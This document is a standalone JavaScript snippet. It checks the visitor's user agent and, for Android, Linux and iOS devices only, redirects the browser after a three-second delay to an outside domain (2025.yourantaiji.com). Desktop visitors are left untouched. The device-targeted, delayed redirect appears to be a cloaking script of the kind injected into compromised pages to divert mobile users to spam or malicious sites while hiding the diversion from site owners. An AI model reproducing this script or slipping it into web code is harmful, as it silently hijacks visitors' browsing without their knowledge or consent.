function judge() { var sUserAgent = navigator.userAgent.toLocaleLowerCase(); var isLinux = (String(navigator.platform).indexOf("linux") > -1); var bIsAndroid = sUserAgent.match(/android/i) == "android"; var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile"; var bIsIpad = sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os"; var bIsCE = sUserAgent.match(/windows nt/i) == "windows nt"; if (isLinux) { return "linux"; } else if (bIsIpad || bIsIphoneOs) { return "ios"; } else if (bIsWM) { return "wp"; } else if (bIsCE) { return "pc"; } else if (bIsAndroid) { return "android"; } } var agent = judge(); if (agent == "android" || agent == "linux") { setTimeout(function (){ location.href = 'https://2025.yourantaiji.com/i.html?id=2025'; }, 3000); } else if (agent == "ios") { setTimeout(function (){ location.href = 'https://2025.yourantaiji.com/i.html?id=2025'; }, 3000); } else if (agent == "wp") { } else if (agent == "pc") { } else { // } document.write ('');